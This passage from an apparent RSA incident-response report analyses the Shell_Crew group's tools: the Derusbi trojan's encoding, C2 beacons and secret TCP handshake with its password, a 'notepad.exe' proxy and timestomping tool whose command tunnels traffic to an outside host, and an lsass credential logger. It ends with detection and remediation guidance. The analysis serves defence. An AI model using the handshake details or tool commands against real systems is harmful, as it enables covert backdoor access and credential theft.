<td>77 75 61 75</td>
<td>73 65 72 76</td>
<td>00 67 2A 66</td>
<td>wuauserv</td>
<td>g*f</td>
<td>1p 1Y&quot;r^PS</td>
</tr>
<tr>
<td>00000150</td>
<td>22 75 5E</td>
<td>46 71 53</td>
<td>5A 27</td>
<td>38 2D</td>
<td>7A 51</td>
<td>25 47</td>
<td>50 49</td>
</tr>
<tr>
<td>00000160</td>
<td>31 2D</td>
<td>40 70</td>
<td>00 00</td>
<td>00 00</td>
<td>00 31 59</td>
<td>22 72</td>
<td>5E</td>
</tr>
<tr>
<td>00000170</td>
<td>72 7A</td>
<td>5A 76</td>
<td>28</td>
<td>2E</td>
<td>34</td>
<td>6C</td>
<td>57</td>
</tr>
<tr>
<td>00000180</td>
<td>46 76</td>
<td>69</td>
<td>32</td>
<td>38</td>
<td>77</td>
<td>74</td>
<td>57</td>
</tr>
<tr>
<td>00000190</td>
<td>64 55</td>
<td>4E</td>
<td>6F</td>
<td>2C</td>
<td>6B</td>
<td>46</td>
<td>74</td>
</tr>
<tr>
<td>000001A0</td>
<td>45 70</td>
<td>50</td>
<td>5F</td>
<td>30</td>
<td>54</td>
<td>7E</td>
<td>38</td>
</tr>
</tbody>
</table>

**Figure 22: Decoded Trojan.Derusbi configuration data**

This machine specific configuration data will then be encoded, using a different method, where each byte is XORed with 0x5F and then each bit of that product byte is subsequently inverted. This encoded data will then be written to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security registry key. Figure 23 below shows the function within the Trojan responsible for encoding this data and then writing it to the registry. If the sample is restarted it will again check for the registry value containing the configuration data. If this value is located, the sample will read the configuration data and then decode it using a function similar to the function that is depicted below.
Upon initial execution, the Trojan will decode, write, and launch a driver file that is embedded in the file at offset 0x19A40. The data shown below in Figure 24 is how the data resides in the file.
As shown in Figure 24, the first DWORD that is highlighted in yellow is the 4 byte XOR key that is used to decode the driver file. It should be noted that this XOR key is the same in several variants that were compiled over a year time frame. The second DWORD highlighted in blue is the length of data to be decoded (the size of the driver file) 0x52 18 or 21,016 bytes decimal.

<table>
<thead>
<tr>
<th>Offset</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>00019A40</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>18</td>
<td>52</td>
<td>00</td>
<td>00</td>
<td>BE</td>
<td>07</td>
<td>18</td>
<td>2E</td>
<td>F0</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
</tr>
<tr>
<td>00019A50</td>
<td>F7</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>0C</td>
<td>A2</td>
<td>88</td>
<td>2E</td>
<td>4B</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
</tr>
<tr>
<td>00019A60</td>
<td>B3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
</tr>
<tr>
<td>00019A70</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
</tr>
<tr>
<td>00019A80</td>
<td>F3</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>13</td>
<td>5D</td>
<td>88</td>
<td>2E</td>
<td>FD</td>
<td>42</td>
<td>32</td>
<td>20</td>
<td>F3</td>
<td>E9</td>
<td>81</td>
<td>E3</td>
</tr>
</tbody>
</table>

**Figure 24: XOR key that is used to decode the driver file**

The function below in Figure 25 is responsible for decoding the driver file. This function will call an additional function that is responsible for writing the decoded data to disk as ‘C:\Windows\System32\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys’ The Trojan will then use the API call ZwLoadDriver to start the newly created file.
The driver will hook other networking drivers and will determine if incoming traffic contains certain patterns of traffic, which when specific conditions are met will pipe that traffic to Trojan.Derusbi. Once the Trojan begins to communicate with the hard coded C2, it will initially transmit the following POST request shown in Figure 26.

```plaintext
POST /forum/login.cgi HTTP/1.1
HOST: bad.malwarejwm.com:443
User-Agent: Mozilla/4.0
Connection: Keep-Alive
Connection: Keep-Alive
Pragma: no-cache
```

Figure 26: POST request initiated by Trojan.Derusbi

If no response is received it will transmit the following binary data shown in Figure 27, which is part of a proprietary handshake that is discussed more in the Trojan.Derusbi – Server Variant section. The Binary data contains a set of three DWORDs that the C2 will validate to as part of the initial portion of the handshake. The first DWORD is created just prior to the beaconing activity. The following two DWORDs are mathematical modifications of the first DWORD.
As illustrated below in Figure 28, the second DWORD is the product of XORing the first DWORD with 0xFF. The third DWORD is the product of rotating the first DWORD value right by 7.

<table>
<thead>
<tr>
<th>DWORD</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>1st</td>
<td>0x00003DAE</td>
</tr>
<tr>
<td>2nd</td>
<td>0x00003DAE ^ 0xFF = 0xFFF0C251</td>
</tr>
<tr>
<td>3rd</td>
<td>0x00003DAE ROR 7 = 0x5C00007B</td>
</tr>
</tbody>
</table>

If the Trojan does not receive the other necessary portions of the Trojan/C2 handshake it will transmit the following type of GET request. The ‘loginid’ that is highlighted in yellow in Figure 29 is created pseudorandomly.

```
GET /Photos/Query.cgi?loginid=24072 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: bad.malwarejwm.com:443
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
```

This Trojan has several advanced capabilities including providing a reverse shell to the adversary, locating and decrypting usernames and passwords stored by web browsers like Internet Explorer and Firefox, uploading and downloading files, and executing additional malicious files.

Appendix 1 of this report illustrates how several variants of Trojan.Derusbi have overlapping characteristics. Having the ability to quickly detect relationships between different variants allows the RSA IR Team to locate not just specific samples, but variants throughout an environment within the same family.
2. Trojan.Derusbi Server Variant

Shell_crew deployed this variant of Trojan.Derusbi on perimeter devices in a victim’s network. This variant contains a driver that monitors all incoming TCP connections for a secret handshake. The handshake is simple enough to allow this variant to function even on busy web servers. Once the handshake is received, the driver then passes control to the DLL file which contains the main functionality of the Trojan. Characteristics of one such Trojan.Derusbi server variant can be found in Figure 30.

File Name: 2.dll
File Size: 65816 bytes
MD5: 7c32302791501d817fe9ecb589ecc026
SHA1: e473e936374aed2701c9455b487cdf2cbecc30cf8
PE Time: 0x4FE740F9 [Sun Jun 24 16:31:53 2012 UTC]
PEID Sig: Microsoft Visual C++ v6.0 DLL
PEID Sig: Microsoft Visual C++ v7.0 DLL
Sections (5):

<table>
<thead>
<tr>
<th>Name</th>
<th>Entropy</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>6.22</td>
<td>f8a33e42f67dc9ea82e50698556c2e19</td>
</tr>
<tr>
<td>.rdata</td>
<td>4.95</td>
<td>f795dbabc5a4dc86780a02c7fb9b0d</td>
</tr>
<tr>
<td>.data</td>
<td>7.07</td>
<td>5085436ae0b2d8977b4034aee2d98ad6</td>
</tr>
<tr>
<td>.rsr</td>
<td>2.88</td>
<td>b69e32f439cc4bd33e4dd5ea23bfe02b</td>
</tr>
<tr>
<td>.reloc</td>
<td>5.39</td>
<td>5e891a6fb9398ffed88fda988ee49422</td>
</tr>
<tr>
<td>.rsr</td>
<td>2.89</td>
<td>463fc58dc7c103c564540cd1191f6c06</td>
</tr>
<tr>
<td>.reloc</td>
<td>6.03</td>
<td>7430b0b237db5ac3c691df23c915847</td>
</tr>
</tbody>
</table>

Figure 30: Characteristics of the file 2.dll - a Trojan.Derusbi variant

The Trojan exports the functions shown in Table 2 below.

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Ordinal</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>100067FBh</td>
<td>1</td>
<td>DllRegisterServer</td>
</tr>
<tr>
<td>10006777h</td>
<td>2</td>
<td>DllUnregisterServer</td>
</tr>
<tr>
<td>10004CFFh</td>
<td>3</td>
<td>ServiceMain</td>
</tr>
<tr>
<td>10004C0fh</td>
<td>4</td>
<td>SvchostPushServiceGlobals</td>
</tr>
<tr>
<td>10004FAAh</td>
<td>5</td>
<td>WUServiceMain</td>
</tr>
<tr>
<td>10007223h</td>
<td>6</td>
<td>_crt_debugger_hook</td>
</tr>
</tbody>
</table>

Table 2: Trojan.Derusbi server variant functions

The adversary installed this Trojan by utilizing the regsvr32.exe utility, which calls the DllRegisterServer function. This Trojan first checks the version of Windows it is running on using the GetVersionExA function, and will terminate if not on a Windows version 5.2 as shown in Figure 31.
This versions of Windows this covers is:

- Windows 2003 Server;
- Windows 2003 Server R2; and

The Trojan then validates that it is not running on a 64-bit system by using the IsWow64Process function. The servers where this Trojan was found during the engagement were Windows 2003 servers, confirming the Shell_Crew had created this variant of the Trojan. Derusbi to run specifically on this family of Operating Systems. The Trojan then makes a copy of itself into the C:\Windows\System32 folder as a file named: “msusbXXX.hlp”, where XXX were found to be three characters picked randomly from this set of characters: abcdedefgijhklmnopqrstuvwxyz.

The Trojan then entrenches itself as a service named “wuauserv” as illustrated in Figure 32.

Furthermore, this Trojan also drops a driver file on the system named: {93144EB0-8E3E-4591-B307-8EEBFE7DB28F}.sys. This driver file is embedded into the DLL starting at file-offset 0x9290. The contents of this file are obfuscated with a 4-byte XOR key: 0xF35D882E.

Once the driver file is loaded in memory, the file is deleted from the file system. The following registry key remains as an artifact: HKLM\SYSTEM\CURRENTCONTROLSET\ENUM\ROOT\LEGACY_{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}. The driver also attaches to the following network devices:

- \Driver\Tcpip\Device\Ip;
- \Driver\Tcpip\Device\Tcp;
- \Driver\Tcpip\Device\Udp; and
- \Driver\Tcpip\Device\RawIp.

The driver can then monitor traffic to any existing listening TCP ports. The driver performs the following three checks on any new TCP connections:

- Ensures the payload of the first packet equals 64 bytes;
- Ensures 2nd DWORD = Inverted 1st DWORD (i.e. logical NOT, or XOR 0xFF); and
- Ensures 1st DWORD ROR 7 = 3rd DWORD.
All the data in the handshake is randomly generated. Other than the first three DWORDS (12 bytes), the rest of the data in the 64-byte handshake is irrelevant. The structure of the handshake is shown below in Figure 34:

The malicious DLL performs the last two checks on the handshake data as well. It then replies back with the same type of handshake. All data is randomly generated independent of what data was received. Figure 35 depicts a sample handshake.

The handshake is followed by a password verification step. The structure of the data also changes from this point forward. This sample uses password, “pinkcomein”. The client Trojan service sends the password after obfuscating it with a 4-byte
XOR key, which is dynamically generated and sent with the rest of the data. The checksum is a simple addition of all the bytes prior to the obfuscation step.

Once the password has been confirmed, the communication protocol adds one additional component. All data beyond the headers is compressed using the LZO⁴ fast compression algorithm, prior to being obfuscated with the 4-byte XOR key. The commands sent to the server also need to be compressed and obfuscated. Figure 37 shows an example that demonstrates all these components of the communication protocol (XOR key in this example was set to 0x00000000 to expose the next layer for demonstration purposes).

The commands are in binary form. In the example shown in Figure 37, the command is 0x10 (which is visible even though the data is compressed), uninstalls the Trojan, and restores the original registry keys. The rest of the functionality of this Trojan is typical to this family of Trojans including; file traversal, process start/terminate, upload/download, time stomping, and self-updates.

---

⁴ http://www.codingnow.com/windsoul/package/lzoc.htm
Secondary Tools – Technical Analysis

This section contains the technical analysis of several secondary tools that are favored by Shell_Crew. The secondary tools are programs that facilitate lateral movement, harvesting of credentials, or allow for additional channels of communication. During recent engagements involving Shell_Crew, the secondary tools were introduced into the environment during the early stages of a compromise indicating that these are the preferred tools of this group. Shell_Crew also employs several additional tools that are commonly used by other threat groups and will not be covered in this report.

1. Notepad.exe

One of the preferred tools used by Shell_Crew during a recent incident was a multi-purpose tool typically named 'notepad.exe', but also found named 'inetinfo.exe' or 'mszip.exe'. The collected sample of this tool was written in .NET 2.0 and the code was obfuscated using the post-development recompilation system “Dotfuscator”. This tool does not have a built-in C2 address, however the code does support this feature. This tool requires arguments to be passed to it in order to perform activities. One of the most commonly used commands by the adversary was the proxy like functionality of this tool as show below in Figure 38.

```
c:\dell\notepad.exe /f sh /x 10.192.59.10 /y 80 /s upload.msdnblog.com /p 443
```

**Figure 38: Common usage of notepad.exe**

In this example, the proxy functionality of notepad.exe allowed the adversary to proxy their traffic to the external site “upload.msdnblog.com” through internal IP address 10.192.59.10 on port 80.

```
File Name: notepad.exe
File Size: 186880 bytes
MD5: 985abc913a294c096718892332633ec9
SHA1: a0d2cb07842813ebc5f31e30895887740f015f5d7
PE Time: 0x4F3E6880 [Fri Feb 17 14:47:28 2012 UTC]
PEID Sig: Microsoft Visual C# / Basic .NET
PEID Sig: .NET executable compressor
Sections (3):
  Name Entropy MD5
  .text 5.56 ab3d5c3c7dc3548585a8182ab8720f03
  .rsrc 4.16 b5167609962c7d22da2e6e7aa725984
  .reloc 0.1 2691c06804eb4834bcdf32c2e02ba33c
```

**Figure 39: File details of notepad.exe**
In order to decompile notepad.exe, the code was deobfuscated using a publicly available tool called “de4dot”. Once the code had been deobfuscated, notepad.exe could be decompiled for analysis using the tool “Reflector”.

The RSA IR team was able to review the functionality of this tool and a complete list of the available parameters is provided in Table 3. During testing it was found that when this file was executed with no arguments, the tool performs the following actions:

1. The tool would hash the string “alice’srabbithole” (MD5: 75BA477C842BE166B0F66C642C7885997)
2. The tool then checks if the resource shown in Figure 40 starts with the hash value obtained in step 1 (in this case there is a match).

3. If the result of step 2 is true, the Trojan exits without doing anything else. It is in this resource that the Trojan would otherwise find an IP address and port number to connect. The resource would have the format shown in Figure 41:

The first two bytes of the resource will be a hexadecimal value representing the length of the Base64 encoded data that follows. The obfuscated data is first Base64 decoded, then XOR-ed with 0xAA. The obfuscated data is meant to be an IP address followed by a port number, separated by a colon “:”. The following figure shows the functions from the code.
This tool can be executed in various ways depending on the arguments provided. Table 3 shows a complete this of the discovered parameters.

<table>
<thead>
<tr>
<th>Notepad.exe arguments</th>
<th>Purpose</th>
<th>Sample Output</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/f v</code></td>
<td>Version info</td>
<td>2 2.0.887.1303</td>
</tr>
</tbody>
</table>

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
</table>
| `/f sh /x 192.168.1.1 /y 80 /s 10.10.10.1 /p 666 /u username /w password` | HTTP proxy connect. | CONNECT 10.10.10.1:666 HTTP/1.0 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/f sh /l /p 666</code></td>
<td>Listener mode</td>
<td>When a client connects: 03 01 74 80 0e d1 3b 4e 0c db 33 00 02 00 00 00 77 03 00 00 00 00 00 00 00 00 00</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>notepad.exe /f cl /p directory /m pattern regex options</th>
<th>Clean files and time stomp</th>
<th>Replace pattern on file in specified folder and time stomp back to original file timestamp.</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/f tu /p test /m *tampered* /r c:\windows\explorer.exe</code></td>
<td>Time stomp file</td>
<td>Match files with name “tampered” in directory test and change CMA timestamps to match those of reference file “/r”. If “/r” argument is not specified or if file is not found set to 11-30-2005 12:00PM UTC.</td>
</tr>
<tr>
<td><code>/f ra /ru /rd /rp /wp arguments</code></td>
<td>RunAs command</td>
<td>ru - username rd - domain name rp - password wp - with profile</td>
</tr>
<tr>
<td><code>/u /id /ip</code></td>
<td>Impersonate user</td>
<td>u - username id - domain name p - password</td>
</tr>
</tbody>
</table>
Table 3: notepad.exe functionality

<table>
<thead>
<tr>
<th>Notepad.exe arguments</th>
<th>Purpose</th>
<th>Sample Output</th>
</tr>
</thead>
</table>
| /f rs                 | Impersonate user | s: – system  
u: – username  
p: – password  
a: – Kerberos impersonation level |
| /f wmi                | Windows Management Instrumentation commands | m: – WMI command:  
- query → run WMI query  
- call → call WMI  
- get → [no logic to do anything] |

2. Credential Logger

On a compromised Windows system, credentials can be harvested in a variety of ways:

- Hash Dumping
- Keystroke logging
- MSGINA man-in-the-middle
- Hooking Authentication Functions

One such example that was observed during a recent engagement was a DLL file that Shell_Crew had injected into the lsass.exe process of a server to harvest credentials. The characteristics of this DLL file are shown in Figure 43.

<table>
<thead>
<tr>
<th>File Name: xmlobj.dll</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Size: 20480 bytes</td>
</tr>
<tr>
<td>MD5: 90eddad3327a63fdea924fb802bc7dc5</td>
</tr>
<tr>
<td>SHA1: ecd9f328d119a82718634700f0e1fd5f19e9b08c</td>
</tr>
<tr>
<td>PE Time: 0x4F908F71 [Thu Apr 19 22:19:29 2012 UTC]</td>
</tr>
<tr>
<td>PEID Sig: Microsoft Visual C++ v6.0 DLL</td>
</tr>
</tbody>
</table>

Sections (4):

<table>
<thead>
<tr>
<th>Name</th>
<th>Entropy</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>4.21</td>
<td>445cb9843ec80eb2465a099f63fcd0a</td>
</tr>
<tr>
<td>.rdata</td>
<td>1.04</td>
<td>f8e9796e79523ae3980491e67e33521d</td>
</tr>
<tr>
<td>.data</td>
<td>0.37</td>
<td>b77c7f741344e8c0326394129484cf5b</td>
</tr>
<tr>
<td>.reloc</td>
<td>0.61</td>
<td>1373d7f72c5ca95a4bc001b04e4dc710</td>
</tr>
</tbody>
</table>

Figure 43: Details of the file xmlobj.dll

Once this DLL is injected into the lsass.exe process, it hooks the LsaApLogonUserEx2 function of msv1_0.dll. This function is called during various authentication situations such as interactive or network logons, including when the RunAs option is used. All credentials are saved in plaintext under: c:\windows\system32\desktop.ini.

A sample of harvested credentials that would be stored in the desktop.ini file is shown in Figure 44.
Domain: mydomain
UserID: administrator
Passwd: P@ssword12
Domain: mydomain
UserID: john
Passwd: NewYear2013

Figure 44: Sample of harvested credentials
Detection, Mitigation, and Remediation

The below sections outline information and detection capabilities that can assist with identification of activity or tools associated with Shell_Crew. Additionally, the RSA IR Team has included a digital appendix along with this report that contains content that can be integrated into Security Analytics, the Enterprise Compromise Assessment Tool (ECAT), or other security tools for rapid detection and visibility of indicators associated with Shell_Crew within an enterprise environment.

1. General Forensic Footprints

- On multiple cases Shell_Crew has been seen breaching a network by exploiting vulnerable applications on external facing servers. Web server logs, if available, can reveal the intrusion vector.
- Shell_Crew has a preference for storing files in the C:\Recycler folder, or in other standard folders one level deep from the root, such as the C:\Dell, c:\i386, or C:\Reboot folders. Sometimes tools or Trojans have also been found at the root of the C: drive.
- In addition to connecting to remote systems, copying files, and scheduling jobs to execute them, Shell_Crew has a preference for lateral movement using RDP. Additionally, they’ve used the Sysinternals tool psexec.exe to execute a file remotely, sometimes automated via a VBS script.
- Performing forensic analysis on a compromised system’s registry hive (focusing on the Application Compatibility Cache) can yield numerous artifacts related to Shell_Crew’s activity.
- Using a tool like ECAT, metadata about malicious files and code can be rapidly located throughout an enterprise allowing responders to focus on relevant systems. Host based signatures can be used in conjunction with this methodology to allow for improved efficiency. The Yara signatures listed below are currently used by the RSA IR Team to locate some malicious files specific to this group. A tool like ECAT can utilize these signatures to scan memory of systems across a network.
- If the adversary registers any Dlls with IIS, these should be unregistered when they are removed from the compromised system. Similarly any altered files, like System.web.dll, should be deleted and replaced with a clean copy of the original Microsoft file.
- Data theft by Shell_Crew typically involves use of the WinRAR utility using encrypted and password protected rar files. Here are some password seen used by Shell_Crew:
  - www.google.com
  - www.google.com!123
  - fuckalnt76yiudg

2. Security Analytics Integration

Parsers

While standard network signatures will detect some of the Trojans and tools used by Shell_Crew, the Trojan.Derusbi samples detailed in this report were designed to avoid detection by employing a proprietary handshake derived from pseudorandom values dynamically calculated at runtime. The digital appendix provided with this report contains several Security Analytics parsers that can assist in the detection of these Trojan.Derusbi handshakes and additional variants related to these samples. Once enabled, these parsers will generate meta entitled “derusbiserver_handshake” or “derusbi_variant” in the Risk.Warning category within Security Analytics.
Feeds
Also included within the digital appendix are feeds that can be imported into Security Analytics for detection of potential Shell_Crew activity. These feeds will alert users if there are any machines on the network communicating with malicious IP Addresses or URLs linked to Shell_Crew identified domains or IP’s within this report. Once enabled, these feeds will generate meta entitled “derusbi_domain_sep2013” or “derusbi_ip_sep2013” in the Risk:Warning category within Security Analytics.

3. ECAT Integration
The hashes that are referenced in the Malicious Files and Tools section of this report are also available in the digital appendix. The format of the files in the digital appendix can be imported directly into ECAT to begin looking for the hashes across systems within the environment.

By default, ECAT is also able to detect some of the malicious behavior that is exhibited by the samples detailed in this report. The below examples are provided to demonstrate how potential Shell_Crew activity can be identified using standard analysis capabilities via the ECAT Server.

*Figure 45* is a screenshot where ECAT detected a suspicious outbound connection. The screen shot depicts the attempted connections of the Trojan.Derusbi sample that was detailed earlier in this report. With this information, ECAT can be used to quickly determine if any other systems on the network had executable files that were actively beaconing to the same location.

![Figure 45: ECAT detects a suspicious outbound connection](image)

The same malicious file seen above was also flagged as suspicious by ECAT because it was entrenched in an ‘autorun’ location within the system’s registry. The screen shot in *Figure 46* below depicts the alert provided by ECAT.

![Figure 46: Alert sent by ECAT](image)

Additionally, the RSA IR Team observed that Shell_Crew will time stomp (alter a files Created Date and Time Stamp) to hinder forensic analysis. By default, ECAT has the ability to parse a system’s MFT and display both the File Name Attribute information and Standard Information Attribute for a file. The screen shot below shows an instance where the files had been time stomped. The files were purportedly created on the compromised systems in 2005, when in actuality they had been placed on the systems in 2012.
4. Yara Signatures

The RSA IR Team uses Yara Signatures like the ones provided in the digital appendix to detect malicious files present on systems and running in memory. They’re also used to detect new variants that are being tested by adversaries using open source tools like VirusTotal. The RSA IR Team has observed that Shell_Crew will submit numerous samples of a Trojan family to VirusTotal in an attempt to determine which AV vendors will detect the malicious files.

Shell_Crew will make small changes to the code and how the binary is compiled until a particular AV vendor does not detect the sample. Detecting these variants using Yara Signatures allows the RSA IR Team to update and alter signatures, analyze new variants, and become aware of new C2 nodes before the samples are used against targeted organizations. This information is then added to existing content in Security Analytics and ECAT. Figure 48 is a graph that depicts where variants of a sample were submitted numerous times, each time being detected by different AV products.

![Figure 48: Malware sample testing](image)

5. Hash Set, IPs, Domains

All hashes, IP Addresses, and domains discussed within this report as associated with Shell_Crew can be found in the attached Digital Appendix.
Conclusion

This report detailed techniques and tools that are frequently used by an advanced adversary being referred to by the RSA IR Team as Shell_Crew. The information delivered in this report was provided so organizations can turn the data into actionable intelligence, for detection or prevention of this advanced threat. As of the date of this report, Shell_Crew continues to be a formidable threat group that is actively attacking organizations. In instances where Shell_Crew has already breached an organization, the RSA IR Team has observed that the adversary will aggressively attempt to regain a foothold once their Trojans have been eradicated and communication channels severed. If any of their existing backdoors or Web shells remain active in the environment, Shell_Crew will begin to redeploy other tiers of malware that communicate through different channels, which may use different protocols and obfuscation techniques.

The RSA IR Team has observed instances where Shell_Crew has persisted in enterprises for years before they are detected. During that time, Shell_Crew updated or replaced existing malicious backdoors, continued to map the enterprise while installing Web shells or poisoning existing web pages, and performed internal reconnaissance of victims to determine what AV and security products are being deployed in these environments. These tenacious approaches make it difficult for an under resourced internal security team to detect, and furthermore, eradicate this adversary.

The RSA IR Team will continue to track the TTPs used by this group and distribute information about this and other adversaries. The information that is provided in the digital appendix and throughout the report can be ingested directly into RSA products or used agnostically with other products.

If you have any questions about this emerging threat profile or the RSA Incident Response Team, please send an email to FirstResponse@rsa.com or contact your RSA Account Representative.
Appendix 1 – Trojan.Derusbi Variants

The below images illustrate the different relationships between the Trojan.Derusbi samples that were listed in the Malicious Files Section. The XOR keys in blue, were used to decode the Configuration data that is used by the sample. The XOR keys in red were used to decode the embedded driver files.

Figure 49: Trojan.Derusbi Variants Mutex Overlap
Figure 50: Trojan.Derusbi variants XOR key overlap
Figure 51: Trojan.Derusbi variants XOR key overlap
Figure 52: Trojan.Derusbi variants XOR key overlap
Appendix 2 – Trojan.Notepad Illustration

The illustration below shows relationships between the Trojan.Notepad samples that were listed in the Malicious Files/Tools Section. These samples are grouped by file description.

Figure 53: Relationships between Trojan.Notepad samples
Digital Appendix - Details

Below is a list of the files and folders contained within the ShellCrew_Digital_Appendix. All content should be tested before full integration into SA, ECAT, or 3rd party tools to prevent any adverse effects from unknown environmental variables.

ShellCrew_Digital_Appendix.zip File Hash: 4e324ffae9ce8688bdb2f569274df77c

ShellCrew_Digital_Appendix.zip Contents:

- ECAT_Blacklist (Folder containing ECAT Hash Import)
  - Derusbi_Notepad.xml
- feeds folder (Folder containing SA feeds, Shell_Crew Domains and IPs)
  - Derusbi_Domain.feed
  - Derusbi_Domain.csv (List of Shell_Crew Domains)
  - derusbi_domain.xml
  - Derusbi_IP.feed
  - Derusbi_IP.txt (List of Shell_Crew IPs)
  - derusbi_ip.xml
- parsers folder (Folder containing SA parsers)
  - derusbi_server.lua (Parser for Derusbi Handshake)
  - derusbi_variant.parser (Parser for Derusbi variant beaconing)
- ShellCrewHashset.md5 file (List of Shell_Crew File/Tool Hashes)
- yara folder (Folder containing Yara sigs)
  - Shell_Crew.yara

For any questions or issues deploying the Security Analytics or ECAT content into your environment, please contact RSA Support.